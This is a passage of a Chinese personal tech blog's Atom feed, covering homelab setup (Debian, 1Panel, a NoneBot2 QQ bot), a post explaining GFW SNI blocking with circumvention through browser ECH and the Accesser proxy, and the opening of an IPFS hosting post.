&lt;p&gt;注意：使用&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://mikanime.tv&#x2F;&quot;&gt;蜜柑计划 - Mikan Project&lt;&#x2F;a&gt;时，请订阅单个字幕组的RSS，不要使用个人的RSS，会导致&lt;strong&gt;只能获取到你所有追番的最新一集而不是单个番的全部剧集&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;打开飞牛影视，初始化并设置媒体库&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;269b78c3b7dffe7f8cdb861098f44147552b5eb4.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;注意：如果要刮削旧集旧番，请规范重命名，可以使用自动化工具：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://alist.onani.cn&#x2F;Episode-ReName.zip&quot;&gt;Episode-ReName.zip | AcoFork-AList&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;一级目录：即qb下载目录，无需重命名&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;二级目录：番剧名称&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;三级目录：季，如&lt;code&gt;Season 1&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;四级目录：集和字幕，如&lt;code&gt;S01E01.mp4&lt;&#x2F;code&gt; &lt;code&gt;S01E01.chs.ass&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;3-debian&quot;&gt;3. Debian&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;an-zhuang-2&quot;&gt;安装&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下载Debian12 ISO（USTC镜像源）（建议选择DVD镜像，包更全，安装更快）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://mirrors.ustc.edu.cn&#x2F;help&#x2F;debian-cd.html&quot;&gt;https://mirrors.ustc.edu.cn&#x2F;help&#x2F;debian-cd.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;上传至PVE，创建Debian虚拟机，CPU类型选择host，步骤略&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;an-zhuang-1panel&quot;&gt;安装1Panel：&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://1panel.cn&#x2F;docs&#x2F;installation&#x2F;online_installation&#x2F;&quot;&gt;https://1panel.cn&#x2F;docs&#x2F;installation&#x2F;online_installation&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在1Panel中安装&lt;code&gt;Openresty&lt;&#x2F;code&gt; &lt;code&gt;MySQL&lt;&#x2F;code&gt; &lt;code&gt;Halo&lt;&#x2F;code&gt; &lt;code&gt;AList&lt;&#x2F;code&gt; &lt;code&gt;Cloudflared&lt;&#x2F;code&gt; 配置步骤略&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;da-jian-qqbot&quot;&gt;搭建QQBot&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;an-zhuang-onebotv11xie-yi-shi-xian-lagrange-onebot&quot;&gt;安装OneBotv11协议实现：Lagrange.OneBot&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Docker Run：&lt;code&gt;docker run -td -p 8081:8081 -v &#x2F;root&#x2F;qqbot&#x2F;lo:&#x2F;app&#x2F;data -e UID=$UID -e GID=$(id -g) ghcr.onani.cn&#x2F;lagrangedev&#x2F;lagrange.onebot:edge&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;修改配置文件：&lt;code&gt;appsettings.json&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;json&quot;&gt;{
    &amp;quot;Logging&amp;quot;: {
        &amp;quot;LogLevel&amp;quot;: {
            &amp;quot;Default&amp;quot;: &amp;quot;Information&amp;quot;,
            &amp;quot;Microsoft&amp;quot;: &amp;quot;Warning&amp;quot;,
            &amp;quot;Microsoft.Hosting.Lifetime&amp;quot;: &amp;quot;Information&amp;quot;
        }
    },
    &amp;quot;SignServerUrl&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;SignProxyUrl&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;MusicSignServerUrl&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;Account&amp;quot;: {
        &amp;quot;Uin&amp;quot;: 0,
        &amp;quot;Password&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;Protocol&amp;quot;: &amp;quot;Linux&amp;quot;,
        &amp;quot;AutoReconnect&amp;quot;: true,
        &amp;quot;GetOptimumServer&amp;quot;: true
    },
    &amp;quot;Message&amp;quot;: {
        &amp;quot;IgnoreSelf&amp;quot;: true,
        &amp;quot;StringPost&amp;quot;: false
    },
    &amp;quot;QrCode&amp;quot;: {
        &amp;quot;ConsoleCompatibilityMode&amp;quot;: false
    },
    &amp;quot;Implementations&amp;quot;: [
        {
            &amp;quot;Type&amp;quot;: &amp;quot;ReverseWebSocket&amp;quot;,
            &amp;quot;Host&amp;quot;: &amp;quot;192.168.124.34&amp;quot;,
            &amp;quot;Port&amp;quot;: 9090,
            &amp;quot;Suffix&amp;quot;: &amp;quot;&#x2F;onebot&#x2F;v11&#x2F;ws&amp;quot;,
            &amp;quot;ReconnectInterval&amp;quot;: 5000,
            &amp;quot;HeartBeatInterval&amp;quot;: 5000,
            &amp;quot;AccessToken&amp;quot;: &amp;quot;&amp;quot;
        }
    ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;重启容器，扫码登录&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;an-zhuang-nonebot2&quot;&gt;安装NoneBot2&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装pip：&lt;code&gt;apt install python3-pip&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;配置pip USTC源：&lt;code&gt;pip config set global.index-url https://mirrors.ustc.edu.cn&#x2F;pypi&#x2F;simple&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;安装pipx：&lt;code&gt;apt install pipx&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;安装nb-cli：&lt;code&gt;pipx install nb-cli&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置pipx变量：&lt;code&gt;pipx ensurepath&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;安装nb bootstrap：&lt;code&gt;nb self install nb-cli-plugin-bootstrap&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;创建新NoneBot2项目：&lt;code&gt;nb bs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;pre&gt;&lt;code&gt;root@n100-debian:~# nb bs
加载适配器列表中……
请输入项目名称
[?] 请输入 &amp;gt; onani
[?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议)
请输入 Bot 超级用户，超级用户拥有对 Bot 的最高权限（如对接 QQ 填 QQ 号即可）（留空回车结束输入）
[?] 第 1 项 &amp;gt; 666
[?] 第 2 项 &amp;gt;
请输入 Bot 昵称，消息以 Bot 昵称开头可以代替艾特（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 Bot 命令起始字符，消息以起始符开头将被识别为命令，
如果有一个指令为 查询，当该配置项中有 &amp;quot;&#x2F;&amp;quot; 时使用 &amp;quot;&#x2F;查询&amp;quot; 才能够触发，
留空将使用默认值 [&amp;#39;&amp;#39;, &amp;#39;&#x2F;&amp;#39;, &amp;#39;#&amp;#39;]（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 Bot 命令分隔符，一般用于二级指令，
留空将使用默认值 [&amp;#39;.&amp;#39;, &amp;#39; &amp;#39;]（留空回车结束输入）
[?] 第 1 项 &amp;gt;
请输入 NoneBot2 监听地址，如果要对公网开放，改为 0.0.0.0 即可
[?] 请输入 &amp;gt; 0.0.0.0
请输入 NoneBot2 监听端口，范围 1 ~ 65535，请保证该端口号与连接端配置相同，或与端口映射配置相关
[?] 请输入 &amp;gt; 9090
[?] 是否在项目目录中释出快捷启动脚本？ Yes
[?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot？ Yes
[?] 是否使用超级用户 Ping 指令回复插件？ Yes
[?] 是否安装 logpile 插件提供日志记录到文件功能？ Yes
[?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot？（该插件仍在开发中，不推荐用于生产环境） No
成功新建项目 onani
[?] 是否新建虚拟环境？ Yes
正在 &#x2F;root&#x2F;onani&#x2F;.venv 中创建虚拟环境
创建虚拟环境成功
[?] 是否需要修改或清除 pip 的 PyPI 镜像源配置？ No
[?] 是否立即安装项目依赖？ Yes
正在安装项目依赖
依赖安装成功
[?] 请选择需要启用的内置插件
项目配置完毕，开始使用吧！
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;cheng-guo-zhan-shi-yu-ming-yi-qi-yong&quot;&gt;成果展示（域名已弃用）&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;4b4680cc548e0c59ec18cef537c9b1f5412fbbcd.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://blog.onani.cn&quot;&gt;https://blog.onani.cn&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://alist.onani.cn&quot;&gt;https://alist.onani.cn&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;7c24ff7d54b2e0ccaecce4b2ef79155c54124fa4.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>让我们来探讨一下如何绕过GFW</title>
        <published>2024-10-21T00:00:00+00:00</published>
        <updated>2024-10-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/bypass-gfw/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/bypass-gfw/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/bypass-gfw/">&lt;h3 id=&quot;shou-xian-wo-men-yao-zhi-dao-gfwshi-ru-he-feng-suo-wo-men-de-liu-liang-de&quot;&gt;首先，我们要知道GFW是如何封锁我们的流量的&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;IP黑洞：目前无解，但仅对部分服务黑洞，如谷歌系（谷歌、推特、YouTube等）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;DNS污染：为域名返回一个假的IP。使用hosts文件强制指定域名对应ip或者使用加密的DNS（DoH、DNS 签名等）就可以解决&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;HTTP劫持：因为流量不是加密的，GFW作为天然的中间人可以直接进行篡改（如：重定向到404页面、劫持到反诈页面等）。可以使用HTTPS连接规避，但你可能会遇到SNI阻断&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;SNI阻断：在客户端与服务器建立加密连接前，客户端会发送 &lt;code&gt;Client Hello&lt;&#x2F;code&gt; 报文，而这个报文是明文，并且一般都会携带 &lt;code&gt;server_name&lt;&#x2F;code&gt; ，GFW可以知道你要访问哪个网站，对不在白名单（如：discord.com）的域名进行阻断。因为 &lt;code&gt;server_name&lt;&#x2F;code&gt; 实际上是一个扩展，并不强制，你可以不发送它来规避SNI阻断&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;na-me-rang-wo-men-fen-xi-yi-xia-gfwdui-yu-bu-tong-wang-zhan-de-feng-suo-qing-kuang&quot;&gt;那么，让我们分析一下GFW对于不同网站的封锁情况&lt;&#x2F;h3&gt;
&lt;p&gt;我们使用WireShark进行抓包&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先尝试访问 &lt;code&gt;www.baidu.com&lt;&#x2F;code&gt; 这是一个没有被GFW封锁的域名&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;我们先ping一下&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-16-48-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;得到ip： &lt;code&gt;2408:873d:22:18ac:0:ff:b021:1393&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过Hosts强制绑定&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-18-10-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过WireShark进行抓包，可以看到，客户端发送的 &lt;code&gt;Client Hello&lt;&#x2F;code&gt; 可以清晰地看到 &lt;code&gt;Server Name&lt;&#x2F;code&gt; 字段，并且也能正常收到 &lt;code&gt;Server Hello&lt;&#x2F;code&gt; 然后双方便开始通信&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-24-03-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看浏览器，网站正常访问&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-35-29-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;让我们试试访问 &lt;code&gt;discord.com&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;我们先ping一下，可以发现，域名和解析到的IP均不通&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-27-57-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;此时我们尝试使用 &lt;code&gt;itdog.cn&lt;&#x2F;code&gt; 进行v4 ping，并且依次对解析出的域名进行ping&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-28-51-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;可见，第一个IP通&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-29-40-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;强制绑定Hosts，尝试抓包&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-35-58-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-31-49-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;可见，在通过强制Hosts绑定后，在客户端发送 &lt;code&gt;Client Hello&lt;&#x2F;code&gt; 后被GFW检测到&lt;code&gt;Server Name&lt;&#x2F;code&gt; 字段，然后GFW向客户端发送一个 &lt;code&gt;RST&lt;&#x2F;code&gt; 报文，即要求重置客户端连接。在客户端侧，则会收到 &lt;code&gt;ERR_CONNECTION_RESET&lt;&#x2F;code&gt; 即：连接已重置。用户无法访问网页。&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-33-23-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;ji-xu-chang-shi-fa-song-kong-server-name-bao-wen&quot;&gt;继续，尝试发送空 &lt;code&gt;Server Name&lt;&#x2F;code&gt; 报文&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-41-37-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-21-20-41-54-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;成功访问。在WireShark中并未发现 &lt;code&gt;Server Name&lt;&#x2F;code&gt; 字段&lt;&#x2F;p&gt;
&lt;p&gt;那么，有没有什么软件可以帮我们不发送Server Name呢？有的，兄弟有的&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fang-fa-yi-ech&quot;&gt;方法一：ECH&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：本方法实际上是启用一个尚未普及的技术：加密SNI。该方法并不能让所有明确被SNI阻断的网站恢复正常访问。尽管客户端（你）支持ECH，若服务器不支持，则在服务器看来那就是一个非法请求，不予受理
如果想要本方法奏效，你需要确保：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;网站托管在Cloudflare或者托管商声明支持ECH&lt;&#x2F;li&gt;
&lt;li&gt;网站域名被SNI阻断，客户端被发RST包&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;首先我提供一个网站：https://www.cloudflare-cn.com&#x2F;ssl&#x2F;encrypted-sni&#x2F;#results
这个网站可以查询你的浏览器是否正在使用ECH。进入网站点击 &lt;code&gt;检查我的浏览器&lt;&#x2F;code&gt; ，待检查完毕后，检查 &lt;code&gt;安全 SNI&lt;&#x2F;code&gt; 一项是否为 &lt;code&gt;√&lt;&#x2F;code&gt;
如果你为 &lt;code&gt;×&lt;&#x2F;code&gt; ，也不要气馁，我们现在来解决&lt;&#x2F;p&gt;
&lt;h3 id=&quot;edgeliu-lan-qi&quot;&gt;Edge浏览器&lt;&#x2F;h3&gt;
&lt;p&gt;右键桌面的快捷方式点击属性，在目标一栏中添加 &lt;code&gt;--enable-features=EncryptedClientHello&lt;&#x2F;code&gt;
打开设置，搜索DNS，找到 &lt;code&gt;使用安全的 DNS 指定如何查找网站的网络地址&lt;&#x2F;code&gt; （当前版本我叫这个。反正就是配置DoH的地方）
选择&lt;code&gt;Cloudflare （1.1.1.1）&lt;&#x2F;code&gt;
再次测试即可
（其他浏览器我没测试，应该大同小异，网上搜索一下XX浏览器开启ECH就行）
接下来尝试访问：https://iwara.tv 。你应该能直连了&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fang-fa-er-accesser&quot;&gt;方法二：Accesser&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;本方法采用一个神奇的方法来绕过SNI阻断，域前置。原理为客户端先找网站要一张SSL证书，然后再用这个通用证书写好要访问的网站发给服务器，这样，GFW也就看不见你要访问的网站，也就没法进行SNI阻断。
注意：本方法需要在本地运行一个程序并且劫持所有HTTP流量，可能会导致某些正常上网情况下不会出现的问题，请酌情使用&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;URenko&#x2F;Accesser&quot;&gt;https://github.com&#x2F;URenko&#x2F;Accesser&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Accesser是一个HTTP代理。它通过中间人的身份处理终端的HTTP出口流量，以绕过SNI阻断。我们正常访问网站时，客户端会发送Client Hello，而这个报文是明文，并且通常会携带ServerName，这个时候GFW就能通过检测ServerName来进行阻断，代替网站向客户端发送一个RST报文重置连接，做到网站被“墙”的效果&lt;&#x2F;p&gt;
&lt;p&gt;而通过Accesser代理后，它会抹掉ServerName然后发送Client Hello。这个时候，如果服务端支持域前置，则会返回客户端一个默认的SSL证书（公钥），然后客户端就能使用这个公钥再次发送一个加密的Client Hello，此时携带上ServerName就不会被GFW阻断了。但是，如果客户端在第一次我们拿公钥的时候拒绝了空ServerName的Client Hello，那这个办法就失效了，不过大部分网站是支持这样做的&lt;&#x2F;p&gt;
&lt;h3 id=&quot;windows&quot;&gt;Windows&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;前往开头的的Github仓库&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;下载最新的Release。一般有一个&lt;code&gt;accesser.exe&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;直接打开这个软件，看到这个画面即可&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;c2eed28c-6e5d-43a3-a016-8f1a38a53cbd.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;它的原理是自动设置系统代理，如果你使用了一些别的代理软件，会被覆盖&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;d0d8fac1-a2e5-4db2-8e25-ca5e04eb9951.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;linux-yi-debian12wei-li&quot;&gt;Linux（以Debian12为例）&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装Python：&lt;code&gt;apt install python3&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;（可选）创建虚拟环境：&lt;code&gt;python -m venv venv&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;（可选）进入虚拟环境：&lt;code&gt;source venv&#x2F;bin&#x2F;activate&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;安装Accesser：&lt;code&gt;python3 -m pip install -U accesser&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;运行：&lt;code&gt;accesser&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;它会提示你需要信任 &lt;code&gt;root.crt&lt;&#x2F;code&gt; 。关闭Accesser&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;我的证书文件在 &lt;code&gt;&#x2F;root&#x2F;Accesser&#x2F;venv&#x2F;lib&#x2F;python3.11&#x2F;site-packages&#x2F;accesser&#x2F;CERT&#x2F;root.crt&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;cd到你的证书目录：&lt;code&gt;cd &#x2F;root&#x2F;Accesser&#x2F;venv&#x2F;lib&#x2F;python3.11&#x2F;site-packages&#x2F;accesser&#x2F;CERT&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;信任证书：&lt;code&gt;sudo cp root.crt &#x2F;usr&#x2F;local&#x2F;share&#x2F;ca-certificates&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;更新证书存储：&lt;code&gt;sudo update-ca-certificates&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置全局代理：&lt;code&gt;sudo nano &#x2F;etc&#x2F;environment&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;pre&gt;&lt;code&gt;http_proxy=&amp;quot;http:&#x2F;&#x2F;127.0.0.1:7654&amp;quot;
https_proxy=&amp;quot;http:&#x2F;&#x2F;127.0.0.1:7654&amp;quot;
no_proxy=&amp;quot;localhost,127.0.0.1&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;重启即可&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;测试连通性：&lt;code&gt;curl -x https://discord.com&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>使用基于IPFS的Fleek部署静态网站、托管图床、部署服务</title>
        <published>2024-10-17T00:00:00+00:00</published>
        <updated>2024-10-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/ipfs/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/ipfs/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/ipfs/">&lt;blockquote&gt;
&lt;p&gt;本文过旧，某些资源可能已经不可用&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;shen-me-shi-ipfs&quot;&gt;什么是IPFS？&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;IPFS，是点到点的超媒体协议，它让网络更快、更安全、更开放。说简单一点，它就是一个去中心化互联网。说技术一点，它是一个基于分布式哈希表DHT进行内容寻址的，基于git模型版本管理的，基于默克尔对象关联的，基于点对点技术的，基于全球化命名空间IPNS的，基于各种技术的，一种分布式文件系统。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;用人话说，你可以把它看成一个共享网盘，你可以尝试下载&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;ipfs&#x2F;ipfs-desktop&quot;&gt;IPFS - Desktop（适用于有图形界面的系统）&lt;&#x2F;a&gt;或&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;ipfs&#x2F;kubo&quot;&gt;kubo - ipfs（适用于CLI）&lt;&#x2F;a&gt;。然后启动IPFS，你的设备将成为IPFS网络中的一个节点，如图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2024-10-17-10-47-08-image.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-yong-ipfsneng-zuo-shen-me&quot;&gt;使用IPFS能做什么？&lt;&#x2F;h3&gt;
&lt;p&gt;当你连接到IPFS网络后，IPFS会自动将你的设备作为一个本地IPFS节点并且寻找其他IPFS节点，你将能够帮助其他用户建立连接、提供文件。同时你也可以将你的文件上传到你的IPFS节点，等待分发，让网络上的其他用户可以访问你的文件。在IPFS网络中，访问文件通过IPFS网关，如：&lt;code&gt;https://ipfs.io&#x2F;ipfs&#x2F;&lt;&#x2F;code&gt; + &lt;code&gt;CID（文件哈希）&lt;&#x2F;code&gt; 实现访问。比如： https://ipfs.crossbell.io&#x2F;ipfs&#x2F;bafybeifbn36zmdb37ov6id3toy6bve47264hjk2yob6rm4bhw7ooawncf4&lt;&#x2F;p&gt;
&lt;p&gt;（这里使用 &lt;code&gt;ipfs.crossbell.io&lt;&#x2F;code&gt; 这个CrossBell托管的IPFS网关来规避GFW封禁）&lt;&#x2F;p&gt;
